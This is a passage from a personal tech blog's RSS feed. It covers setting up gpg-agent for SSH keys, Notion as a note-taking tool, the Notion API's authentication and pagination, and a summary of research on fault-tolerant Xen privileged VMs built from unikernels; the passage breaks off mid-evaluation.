current shell with the required environment variables; that just seems a bit bizarre to me. - <a target="_blank" href="http://blog.joncairns.com/2013/12/understanding-ssh-agent-and-ssh-add/">Jon Cairns</a> </p></blockquote><p>So how do we use it, then?First of all, you need <a target="_blank" href="https://gnupg.org/">GnuPG</a>, which installs the necessary tools. Sadly there is still no all-in-one version, but GpuPG comes with everything we need.</p><p>Now put the line <code>enable-ssh-support</code> into your <code>~/.gnupg/gpgagent.conf</code> (create it, if it does not exist). You can also specify a timeout by adding the following lines:</p><pre><code class="lang-conf">## 1-day timeoutdefault-cache-ttl 86400max-cache-ttl 86400</code></pre><p>Then add the following lines to your <code>.bashrc</code>, <code>.zshrc</code> or whatever you are using:</p><pre><code class="lang-bash"><span class="hljs-built_in">export</span> GPG_TTY=$(tty)gpg-connect-agent --quiet updatestartuptty /<span class="hljs-built_in">bye</span> &gt;/dev/null<span class="hljs-built_in">export</span> SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)</code></pre><p>GnuPG uses <code>pinentry</code>, which allows it to create the console UI asking for your password. This <a target="_blank" href="https://www.gnupg.org/documentation/manuals/gnupg/Common-Problems.html">dialog system requires</a> the <code>GPG_TTY</code> environment variable to be pointing at your current tty. The next line starting with <code>gpg-connect-agent</code> starts the <code>gpg-agent</code> as a demon in the background if it is not already running and tells it to use your current terminal for those UI dialogues. Since it always outputs "OK", even when we specify <code>--quiet</code>, we forward the output into <code>/dev/null</code> to hide it. Finally, we use <code>gpgconf</code> to tell SSH where the socket of <code>gpg-agent</code> is located and export it to the environment (so now we use a socket managed by <code>gpg-agent</code> and not <code>ssh-agent</code> anymore).</p><p>If you use multiple terminal sessions at once for a longer time, it can happen to you that the prompt asking for your ssh password appears on the wrong terminal session. This can be fixed by adding the following line to the ssh config:</p><pre><code>Match host * <span class="hljs-keyword">exec</span> <span class="hljs-string">"gpg-connect-agent UPDATESTARTUPTTY /bye</span></code></pre><h1 id="heading-conclusion">Conclusion</h1><p>This is exactly what I have been looking for. I wish I had explored <code>gpg-agent</code> sooner. Now my shell asks me only once when using specific keys for the first time. The dialogue looks like this:<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1645978161553/NtFjWsubZ.png" alt="`gpg-agent` asking for my passphrase" /></p><p>The only downside I see with this approach is that we have to call two commands (<code>gpg-connect-agent</code> and <code>gpgconf</code>) every time we launch a new shell. But this is fine, as they are really fast:</p><pre><code>gpg<span class="hljs-operator">-</span>connect<span class="hljs-operator">-</span>agent <span class="hljs-operator">-</span><span class="hljs-operator">-</span>quiet updatestartuptty <span class="hljs-operator">/</span>bye <span class="hljs-operator">&gt;</span> <span class="hljs-operator">/</span>dev<span class="hljs-operator">/</span>null  <span class="hljs-number">0</span>.00s user <span class="hljs-number">0</span>.00s system <span class="hljs-number">60</span><span class="hljs-operator">%</span> cpu <span class="hljs-number">0</span><span class="hljs-number">.004</span> totalgpgconf <span class="hljs-operator">-</span><span class="hljs-operator">-</span>list<span class="hljs-operator">-</span>dirs agent<span class="hljs-operator">-</span>ssh<span class="hljs-operator">-</span>socket  <span class="hljs-number">0</span>.00s user <span class="hljs-number">0</span>.00s system <span class="hljs-number">89</span><span class="hljs-operator">%</span> cpu <span class="hljs-number">0</span><span class="hljs-number">.001</span> total</code></pre><p>If you want to have a look at my dotfiles, <a target="_blank" href="https://gitlab.com/michidk/dotfiles">feel free to do so</a>. Thanks for reading!</p>]]></description><link>https://blog.lohr.dev/key-management</link><guid isPermaLink="true">https://blog.lohr.dev/key-management</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sun, 27 Feb 2022 16:18:39 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/unsplash/zFy6fOPZEu0/upload/v1645974858339/7tEm1QFN5.jpeg</cover_image></item><item><title><![CDATA[Notion for Notetaking]]></title><description><![CDATA[<p>Before <a target="_blank" href="https://www.notion.so">Notion</a>, I used <a target="_blank" href="https://www.microsoft.com/en-us/microsoft-365/onenote/digital-note-taking-app">OneNote</a> to document, track and write notes, and I was pretty happy with my workflow. But then <a target="_blank" href="https://www.notion.so">Notion</a> came around. I now used it for a couple of months and would consider myself a power user. In this blog post, I want to name a couple of reasons why I think that Notion is one of the best note-taking tools. But to be clear: Notion is way more than just a note-taking app: You can build whole systems around any management task.</p><h3 id="heading-pages">Pages</h3><p>One click is needed to create a new page. With another one, you can reorder that page in the hierarchy to any place you want. There is no limit on how deep the hierarchy can get as its the case with OneNote. If you share a workspace with multiple people, others can edit the page and comment on what you wrote. Each page can have an icon which makes the hierarchy faster to navigate since you can quickly recognize your pages. Pages are limited in their width but can contain nearly unlimited lines of content without a page break.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1643290734949/HYbxFgXWp.png?height=350" alt="The Notion command dropdown" /></p><h3 id="heading-commands">Commands</h3><p>A page consists of blocks that can contain text. However, using / you are able to type commands that insert blocks with special functionality (no worries, this can also be done by clicking). You can insert databases (more on that later), images, different text styles, to-do items, embed webpages, and functionality of third-party integrations.</p><h3 id="heading-databases">Databases</h3><p>If you already heard about Notion, the chance is pretty high that you heard about their genius databases. Databases are pages that embed sub-pages with different properties into a table that can be sorted, filtered, grouped, and searched. You can create different views of a database to visualize it as a calendar or Kanban board and even create different pages that show the same database but with different settings. To a certain extent, it is also possible to write formulas to implement simple business logic to create new fields from existing ones that can influence how the table is displayed.</p><p>Database entries are just pages that can contain extra metadata (the database properties/fields). Therefore these pages contained in databases can be moved to different databases or even other pages (so that they become child pages instead of database entries).</p><p>And why is this feature so useful? Well, think about it as interactive tables. You can create pages (e.g., to represent tasks) that store some kind of metadata (e.g., a due date) with every page in that database and visualize it conveniently.</p><p>For example, you could use databases to create Kanban boards that contain Notion pages. You can then also link those Kanban items from every Notion page.</p><p>These are just the basics that Notion databases can do, and I could write a whole other article just on these databases, so lets stop here and follow me for more on that topic.</p><h3 id="heading-links-everywhere">Links everywhere</h3><p>You can link anything that you create in Notion. Dates, persons, other pages, and even single blocks (which can be used to link to a single heading or chapter). When you link to a date, you can even set a reminder which will send you a notification on that date. Other persons will get a notification, too, when you link them.</p><p>Links to other pages in Notion are bidirectional. When you link a page, you will see this link as backlink on that page.</p><h3 id="heading-looknfeel">LooknFeel</h3><p>Notion just feels excellent. It is really fun to use and encourages me to write. Notebooks can be made more interesting and fun to read by adding emoticons and different styles. In my experience Notion found the perfect way to allow customization in order to make the page more interesting with such elements but in a way that does not distract.</p><h3 id="heading-embeds-andamp-integrations">Embeds &amp; Integrations</h3><p>Notion recently bought <a target="_blank" href="https://automate.io/">Automate.io</a> but also offers integrations with a lot of <a target="_blank" href="https://www.notion.so/Embeds-6b7133323590447b9d8e963c136ebce5">other different services</a>. For example, you can embed Google Docs files, Miro boards, Google Maps, and PDF files. There are also lots of third-party integrations made using the Notion API <a target="_blank" href="https://indify.co/">indify.io</a>. These provide URLs that can be embedded into a Notion page and can display widgets like a calendar or weather widget.</p><h3 id="heading-developer-interface">Developer Interface</h3><p>Notion offers an interface that software developers can use to interact with Notion using code. <a target="_blank" href="https://www.notion.so/guides/connect-tools-to-notion-api">This API</a> is still in its early stages, but you can already use it to automate everything you possibly need. I wrote an article about just the Notion API before, so feel free to check it out here: <a target="_blank" href="https://michidk.medium.com/exploring-the-new-notion-api-b00ed401fe1d">Exploring the new Notion API</a>.</p><h3 id="heading-community">Community</h3><p>Notion has a large community that can help you out if you are stuck. Just look for Notion on platforms like Facebook. While there are official templates provided by Notion, you will find lots more different templates made by the community in those Groups. While <a target="_blank" href="https://www.notion.so/181e961aeb5c4ee6915307c0dfd5156d">the templates provided by Notion</a> are rather generic and simple, the community will offer whole systems, like booking systems for hotels or management systems for small clubs. A lot of this content is free; some even sell their Notion templates for a few bucks. So if you need a template for a niche problem, you might find a solution there. Or, if you have fun creating Notion systems, you might be able to make a few bucks with that.</p><h3 id="heading-conclusion">Conclusion</h3><p>I really recommend you to check out <a target="_blank" href="https://www.notion.so">Notion</a>! Just try out a few things the entry barrier is really low.</p>]]></description><link>https://blog.lohr.dev/notion-notetaking</link><guid isPermaLink="true">https://blog.lohr.dev/notion-notetaking</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Thu, 11 Nov 2021 13:23:37 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641636818741/IjDb69xG8.jpeg</cover_image></item><item><title><![CDATA[Exploring the new Notion API]]></title><description><![CDATA[<p><a target="_blank" href="https://www.notion.so/">Notion</a> is a novel note-taking application. Users can create pages that support third-party integrations and interactive elements as well as databases with different views. They recently released the beta version of their developer <a target="_blank" href="https://developers.notion.com/">API</a> which can be used to interact with your Notion workspace from code. </p><h3 id="heading-structure">Structure</h3><p>In order to understand the API, first, one has to understand how the content in Notion is organized: The basic building blocks are pages and databases. Both can have multiple pages and databases as children. Pages can also contain so-called blocks, which can be of different types and contain the actual content (pages are blocks, too - but more on that later). Databases and pages are very similar but differ not only in how they are presented to the user (different database views vs sub-pages). Their data is also structured differently: Pages only have a title and metadata (like creation date, author) as properties. Databases define properties, which each (database-)child (aka. item/entry that is contained in that database) will then inherit (lets call them entries) those properties. This allows them to be displayed in different views that filter and structure by property. The database pages cant have children themselves. There is also a special page type: The workspace (which is the root node of the page-tree) only contains the title and (page/database) children.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636812417/7If0283AG.jpeg" alt /></p><p>Exemplary workspace structure</p><p>The API documentation can be found <a target="_blank" href="https://developers.notion.com/reference/intro">here</a>. Notion provides a <a target="_blank" href="https://github.com/makenotion/notion-sdk-js">JavaScript library</a>, which implements the full API in TypeScript.</p><h3 id="heading-authentication">Authentication</h3><p>There are currently two ways to authenticate with the Notion API, which are documented <a target="_blank" href="https://developers.notion.com/docs/authorization">here</a>. Internal integrations are just for one workspace and are great for prototyping and personal tools. You register the application, assign a workspace where you have admin access level and retrieve the token, which you use for every request as bearer token:</p><pre><code><span class="hljs-attribute">GET</span> /v<span class="hljs-number">1</span>/pages/b<span class="hljs-number">55</span>c<span class="hljs-number">9</span>c<span class="hljs-number">91</span>-<span class="hljs-number">384</span>d-<span class="hljs-number">452</span>b-<span class="hljs-number">81</span>db-d<span class="hljs-number">1</span>ef<span class="hljs-number">79372</span>b<span class="hljs-number">75</span> HTTP/<span class="hljs-number">1</span>.<span class="hljs-number">1</span>  <span class="hljs-attribute">Authorization</span>: Bearer {MY_NOTION_TOKEN}</code></pre><p>To give other users access to your application, you have to implement proper OAuth 2.0 authentication. This works by giving your users an URL, which forwards them to Notion, where they agree to give your application certain permissions. After that, Notion will forward the user back to your API (or <code>redirect_uri</code>). For that, you compose a URL where you append your URL-escaped applications <code>client_id</code> and <code>redirect_uri</code> s well as <code>response_type=code</code>, like this:</p><p><em>https://api.notion.com/v1/oauth/authorize?client_id=&amp;redirect_uri=http%3A%2F%2Flocalhost%2Fauth&amp;response_type=code</em></p><p>Note: You can use <a target="_blank" href="https://www.urlencoder.org/">this</a> tool to encode your URLs properly.</p><p>The redirect response will then contain a code, which can be exchanged using a <code>POST</code> request to <code>/v1/oauth/token</code> and your applications client id and secret for a token, as explained <a target="_blank" href="https://developers.notion.com/docs/authorization#exchanging-the-grant-for-an-access-token">here</a>. With that token, you then have access to the users notion pages.</p><h3 id="heading-accessing-the-api">Accessing the API</h3><p>The rest of the API is documented <a target="_blank" href="https://developers.notion.com/reference/intro">here</a> (not sure why the authentication part is missing), but there are still some gotchas I wanna point out. The whole API is versioned and requires the user to provide the targeted version number in the header: <code>Notion-Version: 20210816</code> .</p><p>To list all pages in the users workspace, you can use the <code>/v1/search</code> route without an actual query. The pagination implementation is horrible: For example, they wont tell you how many entries (or pagination pages) your query results in. You only get a cursor, which you can use to request the next couple of results after your last request.</p><p>Each page is also a block. You can just use the page id in the block API. To get all blocks of a page, you send a <code>GET</code> request to <code>/v1/blocks/*&lt;page*_id&gt;/children</code>. The response will also contain the content of those blocks. But keep a reference to the parent page because the response wont contain that.</p><h3 id="heading-rate-limits">Rate Limits</h3><p>According to <a target="_blank" href="https://developers.notion.com/reference/errors#request-limits">the documentation</a> three requests per second are allowed. They also state that some bursts beyond that limit are allowed. From my experience, they are really generous with those. Tho they explicitly state that the rate limits will change in the future. They recommend implementing queues to send requests as long as no <code>HTTP 429</code> is received. But I think it would be more efficient to just send three requests every second and never encounter that error in the first place.</p><h3 id="heading-conclusion">Conclusion</h3><p>Overall the Notion API is designed very well. Upon further inspection, some rough edges become apparent. But please keep in mind that the API is still in Beta. Authentication is pretty much standard. I really like that the API is fully versioned (even though there should be a default version when not specifying the header). The object structure is confusing at first but makes sense (maybe it could be explained better) and keeps the API quite simple. However, O would really want a way to search for blocks and specific types of blocks (to directly get all mentions). Also, it would be nice if the search for pages could directly return the content of the page. The pagination really has to be improved.</p><p>If you want to know more about the Notion API, check out the <a target="_blank" href="https://developers.notion.com/">docs</a>. You wont regret diving into this API! Let me know about what you implemented to improve your Notion workflow!</p>]]></description><link>https://blog.lohr.dev/exploring-the-new-notion-api</link><guid isPermaLink="true">https://blog.lohr.dev/exploring-the-new-notion-api</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sat, 11 Sep 2021 19:41:05 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641636813941/DHfi8CzOBn.jpeg</cover_image></item><item><title><![CDATA[Phoenix pVM-based Virtual Machine Monitors]]></title><description><![CDATA[<h3 id="heading-1-introduction">1. Introduction</h3><p>Cloud Computing (CC) already plays a major role in providing services throughout the internet. Two hundred seventy billion US dollars were spent by companies worldwide in 2020 for cloud services [2] . The cloud provides users with access to computing resources of different kinds that can be deployed to data centers around the world. Only the demanded resources are billed, and resource requirements can be changed at any time. The National Institute of Standards and Technology (NIST) describes CC as [] a model for enabling convenient, on-demand network access to a shared pool of configurable computing resources (e.g., networks, servers, storage, applications, and services) that can be rapidly provisioned and released with minimal management effort or service provider interaction. [3].</p><p>More and more companies invest in the migration to the cloud because of the various advantages over conventional computing solutions. The benefits include, but are not limited to:</p><ul><li><strong>Elasticity</strong>: Applications scale up or down dynamically to any workload</li><li><strong>Scalability</strong>: Complex infrastructure scales up without additional work</li><li><strong>Availability</strong>: Services are available at any time with little latency from around the world</li></ul><p>Another very important principle is <strong>Fault Tolerance (FT)</strong>, which describes the ability to continue operating without interruption when a fault occurs. Two common methods to handle all kinds of faults happening in the infrastructure and application are <em>replication</em> and <em>redundancy</em>: When applying the replication strategy, the state of an application is replicated to multiple machines. As soon as a replica becomes unavailable, requests are routed to a different machine with a working application instance. This technique can also be used to scale for different amounts of workload. Redundancy is a more traditional technique, which describes the concept of having backup systems that take over in case of a fault occurring.</p><p>While with the aforementioned strategies, FT can be achieved in cloud architectures, it is still desirable to minimize the probability of faults happening in the first place. When fewer faults occur, fewer backup or replication systems are needed since fewer systems can fail at the same time. Also, faults may still affect users with service interruptions or data loss. Therefore it is in particular interest to the customer to have his infrastructure running with as few faults as possible.</p><p>Faults can either occur in the application of the customer using the cloud services or in the cloud infrastructure, which is provided by the cloud vendor. While the customer is responsible for aspects like FT in his own applications, the cloud vendor is responsible for the infrastructure. In the Service Level Agreement (SLA), the cloud vendor commits to a specific availability of its services, including penalties in the case those commitments were not met. Since cloud service providers want to offer high availability metrics to protrude against the competition without running into the risk of paying penalties, they are motivated to optimize their infrastructure systems for FT.</p><p>Cloud resources can be allocated within minutes or even seconds because the hardware is already located and waiting to be claimed at some data center. CC resources are often provisioned on-demand as virtualized machines instead of dedicated hardware. This allows to automate the deployment process and make it more affordable since those resources are shared with other users.</p><p>Mvondo, Tchana, Lachaize, et al. describe a novel FT approach (the source code is available on <a target="_blank" href="http://www.github.com/r-vmm/R-VMM">www.github.com/r-vmm/R-VMM</a>) to provide increased resilience for so-called pVMs (not to be confused with the concept of process Virtual Machines) and apply it to make the Xen platform more fault-tolerant. In a privileged Virtual Machine (pVM)-based architecture, the hypervisor (aka. Virtual Machine Monitor (VMM)) is split into two components: The bare-metal hypervisor and the pVM. A pVM is a virtual machine that has direct access to the hardware and takes over some of the functionality (like handling device drivers) of the hypervisor. The authors modify the Xen pVM to build a resilient version by working through the three design principles <em>disaggregation</em>, <em>specialization</em> and <em>pro-activity</em> [1]. The work by these authors is summarized and discussed in this paper.</p><p>The remainder of this paper is organized as follows. The next section, Section 2, gives an introduction to those so-called pVMs. Their workings and purpose will be explained. Following in Section 4, the four unikernels, their fault model, and implementation will be discussed. The benchmark results of Mvondo, Tchana, Lachaize, et al.s solution are presented and compared against others in Section 6. Similar approaches will be analyzed next, in Section 5. This paper concludes with a discussion from the authors perspective in Section 7, followed by the conclusion in Section 8.</p><h3 id="heading-2-privileged-virtual-machines">2. Privileged Virtual Machines</h3><p>A is a special guest Virtual Machine (VM) supporting the VMM in performing non-critical tasks. Popular hypervisors like Xen and VMware ESX use this concept to run external software (like Linux device drivers) in a less critical and less privileged environment [4]. This approach provides a separation between the code of the VMM and external software. Such a pVM (also called dom0, or Domain0) is often used to run device drivers for the physical hardware as well as serving as the administrative interface to the system [4]. The VMMs area of responsibility is then reduced to tasks like scheduling and memory management [4]. The other guest VMs (or domU) will then connect to the pVM instead of the hypervisor directly. Such an architecture is visualized in Figure 1.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636869103/SNxi95k2q.png?height=300" alt="Figure 1: The virtualization architecture when using the pVM approach. The pVM and guest VMs are virtualized by the VMM. Communication, to e.g. access the drivers, is done through the pVM (exemplary visualized by the arrows)." /></p><p><strong>Figure 1:</strong> The virtualization architecture when using the pVM approach. The pVM and guest VMs are virtualized by the VMM. Communication, to e.g. access the drivers, is done through the pVM (exemplary visualized by the arrows).</p><p>Because the size of the source code is greatly reduced and code containing potential faults is removed, software faults may occur less often by applying the pVM strategy. Also, less time is spent executing that code, which lowers the chance of being affected by a hardware fault. This outsourcing of tasks to the pVM entails that a fault is less likely to occur in the VMM.</p><p>While using this strategy to create a more robust VMM comes with many advantages, this also introduces the pVM as a new single point of failure. Since the pVM will run on a fully-fledged Operating System (OS), possibly with several external applications running in user space, the chance of a fault happening increases significantly. However, because of the already discussed advantages of a pVM, it should be easier to handle such fault in software running on an OS.</p><h3 id="heading-3-xoar-project">3. Xoar Project</h3><p>Colp, Nanavati, Zhu, et al. split the monolithic pVM architecture of the Xen platform into nine different classes of least-privilege service VMs to make it more secure. This approach, called Xoar, uses a microkernel for each service. They achieved this while maintaining feature parity and with little performance overhead [5].</p><p>Microkernels use a minimal kernel that provides an interface for a larger part of the kernel that implements the full functionality needed to run applications. In contrast to the monolithic architecture (used by Linux), the kernel space is rather small, which increases security and stability.</p><p>Xoar was designed with three goals in mind [5]:</p><ol><li><strong>Reduce privilege:</strong> A service only has access to the most minimal interfaces it requires to function. This limits the attack surface.</li><li><strong>Reduce sharing:</strong> Shared resources should only be used when necessary and be made explicit. This allows for policies and proper auditing.</li><li><strong>Reduce staleness:</strong> Services should only run while they actually perform a task. This limits attacks to the lifetime of a task.</li></ol><p>The decomposition of the pVM allows for new measures that follow these goals to increase security and stability. For example, there is a service VM that handles the boot process of the physical machine. This isolates the complex boot process and the required privileges. This VM is destroyed after the boot process is finalized. They also implement microkernels to record secure audit logs of all the configuration activities. Additionally, they implement a microreboot strategy to lower the temporal attack surface. This requires potential attackers to at least attack two isolated components in order to compromise the service [5].</p><p>This approach of splitting the pVM into smaller isolated VMs is also used in the work from Mvondo, Tchana, Lachaize, et al. [1] that is presented in the following section. Their work is largely based on the Xoar project and their disaggregation of the pVM.</p><h3 id="heading-4-phoenix-pvm-based-vmm-ppvmm">4 Phoenix pVM-based VMM (PpVMM)</h3><p>The FT strategy presented by Mvondo, Tchana, Lachaize, et al. is called Phoenix pVM-based VMM (PpVMM) and builds on three core principles [1]:</p><ol><li><strong>Disaggregation</strong>: Each pVM service is launched inside its own isolated unikernel.</li><li><strong>Specialization</strong>: Each unikernel uses a strategy to handle faults that is tailored to the service run by that unikernel.</li><li><strong>Proactivity</strong>: Each service implements an active feedback loop that detects and automatically repairs faults.</li></ol><p>A unikernel is a small isolated system that runs a process in a single address space environment with a minimal set of preselected libraries that are compiled together with the application to a single fixed-purpose image. This image, which is based on a unikernel OS runs directly on the hypervisor, similar to a VM. Mvondo, Tchana,Lachaize, et al. disaggregate the functionality of the Xen pVM into four independent unikernel VMs: <em>net_uk</em>, <em>disk_uk</em>, <em>XenStore_uk</em>, and <em>tool_uk</em> [1].</p><p>The overall architecture of the PpVMM approach. The global feedback loop runs in the UKmonitor unikernel and monitors the the four unikernels and their heartbeats (red arrows) of the pVM or dom0 (also known as Domain Zero). When a VM running in domU (the unprivileged domains) then wants to connect to the Network Interface Controller (NIC) it connects to the driver running on the pVM (blue arrow).</p><p>net_uk implements the unikernel that hosts both the real and para-virtualized network drivers. Figure 2 shows the examplary path of a request from the guest OS, through net_uk to the NIC. disk_uk is similar to net_uk and provides the storage device drivers. Because of its similarity, the authors of the original paper choose not to discuss it in their work. XenStore_uk is the unikernel responsible for running XenStore, which is a database for status and configuration data shared between the VMM and guest VMs. tool_uk provides VM administration tools. Those unikernels will be discussed in detail in the next sections.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641640033133/H39p624-4.png?height=300" alt="Figure 2: architecture" /><strong>Figure 2:</strong> The overall architecture of the PpVMM approach. The global feedback loop runs in the UKmonitor unikernel and monitors the the four unikernels and their heartbeats (red arrows) of the pVM or dom0 (also known as Domain Zero). When a VM running in domU (the unprivileged domains) then wants to connect to the network interface controller (NIC) it connects to the driver running on the pVM (blue arrow).</p><p>Each unikernel uses a feedback loop that uses <em>probes</em> to detect faults and <em>actuators</em> to repair those faults. Some unikernels are made up of several components, which also use feedback loops themselves [1]. Those feedback loops are implemented outside the component to make them independent from faults occurring inside the component.</p><p>The feedback loop of each component is coordinated by a global feedback loop (running in the UKmonitor unikernel). Since the failure of one component could affect others (that depend on the failing component) and lead to concurrent failures in other components, a certain repair order is required. This repair order is embedded in the VMM as a graph and represents the dependencies between the different unikernels. Using this repair order, the source of the concurrent failure can be detected and be repaired if all services that the unikernel depend on are healthy again. The work by Mvondo, Tchana, Lachaize, et al. assumes that the hypervisor itself will not fault (because of state-of-the-art FT countermeasures). Therefore they implement the global feedback loop inside the VMM as seen in Figure 2 [1].</p><p>The pVM is connected to a data center management system, like OpenStack Nova because some repairs cannot be done locally and require actions on a different system [1]. For example, in the case of a server running out of memory, a new scheduled VM might have to be started on a different physical server.</p><p>Implementing this pVM strategy using disaggregated unikernels requires modifying the scheduler in order to optimize performance: Each unikernel VM is marked so that they can be differentiated from the guest VMs. This marking ensures that those VMs are frequently scheduled and requires them to react within five milliseconds to heartbeat messages. The heartbeat might be skipped, though, if the unikernel recently issued an implicit heartbeat by exchanging other messages with the hypervisor. This prevents the CPU from switching the context to a different unikernel, just for issuing a heartbeat message while it is obviously healthy [1].</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1656670201411/B6e4bDIoA.png" alt="Table 1: pVM Components" /><strong>Table 1:</strong> An overview over the pVM components that are disaggregated into their own unikernels together with the symtopms of faults that may occure during the execution.</p><p>In the following section, each unikernel implementation is explained. First, the function of the application running in the unikernel and its fault model will be presented. Right after, the FT solution will be discussed in detail. An overview of the unikernels and their fault symptoms can be seen in Table 1.</p><h4 id="heading-41-nic-driver-netuk">4.1. NIC Driver (net_uk)</h4><p>In the Xen virtualization, the NIC driver resides in the pVM and is exposed using the so-called NetBack component. It enables communication with the NetFront, which acts as NIC driver in the guest OS in domU.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636870627/wIrEOAOYM.png?height=300" alt="Figure 3: The network driver components when using the pVM architecture. The communication path is shown by the black arrows." /></p><p><strong>Figure 3:</strong> The network driver components when using the pVM architecture. The communication path is shown by the black arrows.</p><p>The architecture of the network driver in the Xen platform can be seen in Figure 3. The NetFront is the network driver in the guest OS and communicates with the NetBack. The NetBack uses the NIC driver in the pVM to talk with the physical NIC.</p><p>The net_uk unikernel embeds the NIC driver as well as the NetBack as. This unikernel forwards requests between the guest VMs and the VMM.</p><p>A fault in those components or the unikernel itself can lead to unresponsiveness, which has to be mitigated. The FT solution can detect failures at two levels: Fine-grained failures like NetBack and NIC failures, as well as coarse-grained failures like the whole unikernel failing. Mvondo, Tchana, Lachaize, et al. [1] assumes that such faults will not corrupt the low-level data structures of the kernel [1].</p><p>Faults in the NIC driver are handled by an approach similar to the shadow driver solution by Swift, Annamalai, Bershad, et al. [6]. The NetBack is modified to buffer requests between the NetBack and NetFront (running in the guest VM), in case the NIC driver becomes unresponsive. Such unresponsiveness of the NIC driver is determined by the hypervisor by recording the timestamps of the messages and detecting a timeout. This triggers the recovery process of the driver. The hypervisor also monitors the shared ring buffer index of the NetBack and NetFront. Should the index of the private buffer of the NetBack differ from the shared one, a fault it the NetBack is to be assumed and the NetBack reloaded.</p><p>Inspired by the work of Jo, Kim, Jang, et al. [7], the entire unikernel failing is detected by monitoring all buffers and calculating their lag. Since this only works when actual communication messages are exchanged and the buffer is used, a heartbeat mechanism, controlled by the VMM is introduced [1].</p><h4 id="heading-42-metadata-storage-xenstoreuk">4.2. Metadata Storage (XenStore_uk)</h4><p>XenStore_uk runs the metadata service XenStore, which is a database for status and configuration data.</p><p>Faults, whose consequence is unavailability, can also happen in the XenStore_uk unikernel. However, XenStore_uk, being the only unikernel that is stateful, is also extradited to silent data corruptions that may be caused by bit flips, defective hardware, or malicious VMs. [1]</p><p>The specialized solution to make this unikernel fault-tolerant involves <em>state machine replication</em> and <em>sanity checks</em>. To prevent unavailability, a coordinator unikernel is introduced that manages three replicas of the XenStore_uk unikernel. The coordinator itself is also replicated. The XenStore client library is modified so that requests go to the master coordinator first. It then forwards read requests to the master XenStore_uk unikernel, which is chosen by the master coordinator. Write requests are forwarded to all XenStore_uk replicas. Heartbeats are used to detect the unavailability of a replica; in such a case, the replica is pro-actively replaced by the coordinator. Should the active master replica become unavailable, a new one is chosen by the coordinator. The master coordinator sends heartbeat messages to the VMM in order to detect a crash of both the master coordinator and its replicas simultaneously [1].</p><p>To spare net_uk from the communication path between the coordinator and other components, Interrupt Requests (IRQs) and shared memory are used instead of HTTP requests [1]. This resolves the bidirectional dependency between XenStore_uk and net_uk, which makes handling cascading failures more easily.</p><p>To handle data corruption faults, a sanity check, running in each XenStore_uk replica, computes a hash of each write message and forwards it to the coordinator. The master coordinator then checks if the hash from all replicas is the same. If that is the case, it is forwarded and stored to each coordinator replica. This hash marks the just written state as the last known uncorrupted state.</p><p>When a read message is sanity checked, the master XenStore replica calculates its hash and compares it with the last uncorrupted state from the master coordinator. If they are not equal, a recovery procedure is initialized to determine the source of corruption. If the wrong hash was submitted by the coordinator, its hash is replaced by the correct value. If it stems from the XenStore_uk master replica, the recovery process is triggered, and it is replaced by a healthy replica. This strategy is based on the assumption that for each stored piece of information, at most, one copy gets corrupted [1].</p><p>With this local FT strategy, the VMM only has to intervene when all XenStore or coordinator components fail at the same time. This case will be detected by the hypervisor thanks to the heartbeat mechanism. However, restarting the crashed components by following the above-mentioned dependency graph without relying on disk_uk will not recover the state. Therefore, additional copies of the XenStore database and uncorrupted state hashes are stored by the VMM in memory. Each replica has to update its own backup copy [1].</p><h4 id="heading-43-management-toolstack-tooluk">4.3. Management Toolstack (tool_uk)</h4><p>The tool_uk hosts the Xen Toolstack, which provides a life-cycle administration toolstack. It provides startup, shutdown, migration, checkpointing, and dynamic resource adjustment functionality. The Xen Toolstack is the only component that does not run a task the whole time. Instead, it executes operations when a VM operation was requested.</p><p>Faults during those operations are already handled by the vanilla toolstack implementation of the data center management system. Nevertheless, a fault during live migrations, while the state of the suspended VM is transferred to the destination host, will result in corrupted VM on the target machine and a suspended one on the sender machine [1].</p><p>A fault is detected in a similar way to a heartbeat mechanism. Should the sender machine not receive a acknowledge message within a specific timeframe, the migrations are to be considered a failure. The responsiveness of the entire unikernel is detected using a regular heartbeat mechanism, which restarts tool_uk in such a case. Any case leaves the VM on the target machine in a corrupted state. To recover from these failures, the corrupted VM (and its state) is deleted, and the original VM on the seder machine is set to resume its normal operation. The migration can then be re-executed [1].</p><p>The unikernel is also set to use a different role in Xen, which limits the actual privileges of the unikernel.</p><h3 id="heading-5-related-work">5. Related Work</h3><p>While there are many publications on the topic of FT in cloud-based applications, there is not as much work in the field of making the hypervisor more fault-tolerant. Nevertheless, the PpVMM approach is not the first one to disaggregate the pVM. The Xoar project [5], which was presented in Section 3 developed the groundwork for the PpVMM approach [1].</p><p>The work of Jo, Kim, Jang, et al. and their TFD-Xen [7] project inspired the PpVMM solution, too [1]. The authors focused on the reliability of the network drivers inside the pVM [7]. Their approach is fast to recover from faults since it uses physical backup NICs. However, this also results in resource waste and additional costs since further hardware is required. Their solution to detect faults by monitoring the shared ring buffers used by all NetBacks and NetFronts is used in the net_uk unikernel as presented in Section 4.0.1.</p><p>A quite different approach to detecting faults is shown in Xentry: Hypervisor-Level Soft Error Detection [8]. The author's Xu, Chiang, and Huang describe how they detect faults using a machine learning approach and a runtime detection technique in the Xen hypervisor. Instead of monitoring heartbeats or buffers, their runtime detection system utilizes fatal hardware exceptions and runtime software assertions to detect system corruptions. To detect incorrect control flow, Chiang, and Huang use a <em>Decision Tree</em> machine learning algorithm. They report a fault detection rate of near 99% with a low-performance overhead.[8]</p><h3 id="heading-6-evaluation">6. Evaluation</h3><p>Mvondo, Tchana, Lachaize, et al. performed an extensive evaluation of their FT solution. They compared their modifications (categorized into corse-grained and fine-grained solutions) with the vanilla Xen hypervisor, which provides little FT against pVM failures. It is also compared to other FT solutions: Xoar [5] and TFD-Xen [7]. The latter only handles net_uk failures [1].</p><p>The different unikernels introduce some overhead to the system. Each unikernel instance uses about 